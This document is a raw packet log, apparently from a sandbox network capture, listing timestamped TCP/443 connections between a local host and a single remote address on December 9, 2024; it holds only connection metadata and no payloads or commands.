Dec 9, 2024 06:50:20.368529081 CET	443	49883	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.371161938 CET	49888	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.371189117 CET	443	49888	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.371436119 CET	49888	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.371566057 CET	49888	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.371577024 CET	443	49888	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.454574108 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.454603910 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.454694986 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.454714060 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.454732895 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.454835892 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.461309910 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.461332083 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.461430073 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.461440086 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.461471081 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.461483955 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.467715025 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.467737913 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.467844009 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.467852116 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.467931032 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.468926907 CET	443	49884	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.469386101 CET	49884	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.469403028 CET	443	49884	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.470168114 CET	49884	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.470180035 CET	443	49884	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.475224972 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.475291014 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.475306034 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.475321054 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.475347042 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.475368977 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.482537985 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.482568026 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.482644081 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.482651949 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.482708931 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.489387035 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.489411116 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.489495039 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.489504099 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.489554882 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.495788097 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.495806932 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.495855093 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.495862961 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.495893002 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.495906115 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.503640890 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.503705025 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.503742933 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.503751993 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.503766060 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.503793955 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.646644115 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.646717072 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.646787882 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.646814108 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.646825075 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.646850109 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.653249979 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.653297901 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.653351068 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.653358936 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.653377056 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.653397083 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.659739017 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.659786940 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.659823895 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.659847021 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.659882069 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.659890890 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.667093039 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.667146921 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.667177916 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.667195082 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.667242050 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.674494028 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.674562931 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.674578905 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.674587965 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.674621105 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.681402922 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.681488991 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.681489944 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.681519985 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.681571007 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.688752890 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.688761950 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.688838959 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.688853025 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.689043999 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.695168018 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.695193052 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.695238113 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.695250034 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.695296049 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.852792025 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.852819920 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.852874041 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.852896929 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.852927923 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.852948904 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.858941078 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.858962059 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.859011889 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.859031916 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.859049082 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.859090090 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.866287947 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.866308928 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.866368055 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.866384983 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.866400957 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.866523981 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.873704910 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.873722076 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.873764038 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.873780966 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.873809099 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.873822927 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.880188942 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.880208969 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.880273104 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.880291939 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.880403042 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.888166904 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.888199091 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.888237953 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.888247013 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.888287067 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.888299942 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.894665003 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.894701958 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.894742012 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.894752026 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.894781113 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.894798994 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.901953936 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.902003050 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.902029037 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.902045965 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.902087927 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.902103901 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.903347969 CET	443	49884	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.906371117 CET	443	49884	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.906451941 CET	49884	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.906487942 CET	49884	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.906501055 CET	443	49884	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.906513929 CET	49884	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.906518936 CET	443	49884	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.909173965 CET	49889	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.909230947 CET	443	49889	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.909337997 CET	49889	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.909514904 CET	49889	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.909528017 CET	443	49889	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.044622898 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.044651031 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.044706106 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.044734955 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.044764996 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.044779062 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.051454067 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.051472902 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.051532984 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.051559925 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.053822994 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.057965994 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.057982922 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.058042049 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.058059931 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.058159113 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.065354109 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.065371990 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.065419912 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.065442085 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.065454960 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.065495968 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.072681904 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.072700977 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.072768927 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.072789907 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.072839022 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.079701900 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.079722881 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.079777002 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.079796076 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.079842091 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.087500095 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.087518930 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.087564945 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.087589025 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.087606907 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.087610960 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.087637901 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.087661982 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.087837934 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.087862968 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.087877989 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.087883949 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.494745016 CET	443	49885	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.495734930 CET	49885	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.495769024 CET	443	49885	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.496185064 CET	49885	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.496190071 CET	443	49885	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.619965076 CET	443	49886	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.621471882 CET	49886	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.621501923 CET	443	49886	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.621918917 CET	49886	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.621927977 CET	443	49886	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.623904943 CET	443	49887	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.624294996 CET	49887	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.624334097 CET	443	49887	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.624721050 CET	49887	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.624727011 CET	443	49887	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.927969933 CET	443	49885	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.931603909 CET	443	49885	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.931674004 CET	49885	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.934829950 CET	49885	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.934855938 CET	443	49885	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.934870005 CET	49885	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.934875965 CET	443	49885	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.940901995 CET	49890	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.940946102 CET	443	49890	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:21.941076040 CET	49890	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.942116976 CET	49890	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:21.942128897 CET	443	49890	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.054999113 CET	443	49886	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.055413008 CET	443	49887	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.058192015 CET	443	49886	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.058258057 CET	49886	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.058295012 CET	49886	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.058312893 CET	443	49886	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.058332920 CET	49886	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.058337927 CET	443	49886	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.058470011 CET	443	49887	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.058520079 CET	443	49887	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.058542013 CET	49887	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.058589935 CET	49887	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.058621883 CET	49887	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.058641911 CET	443	49887	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.058660030 CET	49887	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.058665991 CET	443	49887	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.061100006 CET	49891	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.061141968 CET	443	49891	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.061208963 CET	49891	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.061409950 CET	49892	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.061446905 CET	443	49892	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.061463118 CET	49891	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.061474085 CET	443	49891	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.061522007 CET	49892	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.061672926 CET	49892	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.061683893 CET	443	49892	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.107969046 CET	443	49888	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.108517885 CET	49888	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.108550072 CET	443	49888	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.109010935 CET	49888	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.109016895 CET	443	49888	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.541379929 CET	443	49888	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.544842005 CET	443	49888	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.544929981 CET	49888	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.545218945 CET	49888	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.545242071 CET	443	49888	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.545255899 CET	49888	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.545263052 CET	443	49888	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.551254988 CET	49893	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.551297903 CET	443	49893	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.551985979 CET	49893	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.552227020 CET	49893	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.552237988 CET	443	49893	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.631516933 CET	443	49889	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.632261992 CET	49889	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.632296085 CET	443	49889	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:22.633085012 CET	49889	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:22.633090019 CET	443	49889	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.064693928 CET	443	49889	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.068156958 CET	443	49889	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.068239927 CET	49889	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.068381071 CET	49889	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.068381071 CET	49889	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.068403006 CET	443	49889	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.068413019 CET	443	49889	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.071363926 CET	49894	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.071396112 CET	443	49894	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.071469069 CET	49894	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.071669102 CET	49894	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.071683884 CET	443	49894	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.657126904 CET	443	49890	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.657639027 CET	49890	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.657658100 CET	443	49890	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.658222914 CET	49890	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.658229113 CET	443	49890	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.777508974 CET	443	49891	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.778234005 CET	49891	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.778269053 CET	443	49891	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.778687000 CET	49891	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.778692007 CET	443	49891	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.779584885 CET	443	49892	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.780036926 CET	49892	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.780051947 CET	443	49892	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:23.780342102 CET	49892	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:23.780347109 CET	443	49892	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.090624094 CET	443	49890	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.093709946 CET	443	49890	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.094949961 CET	49890	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.167830944 CET	49890	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.167860985 CET	443	49890	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.210726023 CET	443	49891	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.213118076 CET	443	49892	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.213133097 CET	443	49892	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.213232994 CET	49892	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.213249922 CET	443	49892	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.214164972 CET	443	49891	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.214224100 CET	49891	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.214230061 CET	443	49891	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.214740038 CET	49891	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.216523886 CET	443	49892	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.218787909 CET	49892	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.270297050 CET	49892	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.270333052 CET	443	49892	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.280147076 CET	443	49893	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.292129993 CET	49893	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.292174101 CET	443	49893	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.292812109 CET	49893	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.292818069 CET	443	49893	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.302109003 CET	49891	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.302155018 CET	443	49891	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.302170038 CET	49891	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.302176952 CET	443	49891	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.345438957 CET	49895	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.345494032 CET	443	49895	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.345554113 CET	49895	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.346324921 CET	49895	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.346335888 CET	443	49895	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.348598957 CET	49896	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.348649025 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.348711014 CET	49896	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.348849058 CET	49896	443	192.168.2.11	13.107.246.63
